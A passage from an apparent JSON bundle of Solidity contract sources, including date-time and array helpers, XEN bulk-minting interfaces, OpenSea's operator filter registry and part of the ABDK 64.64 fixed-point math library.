_SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result 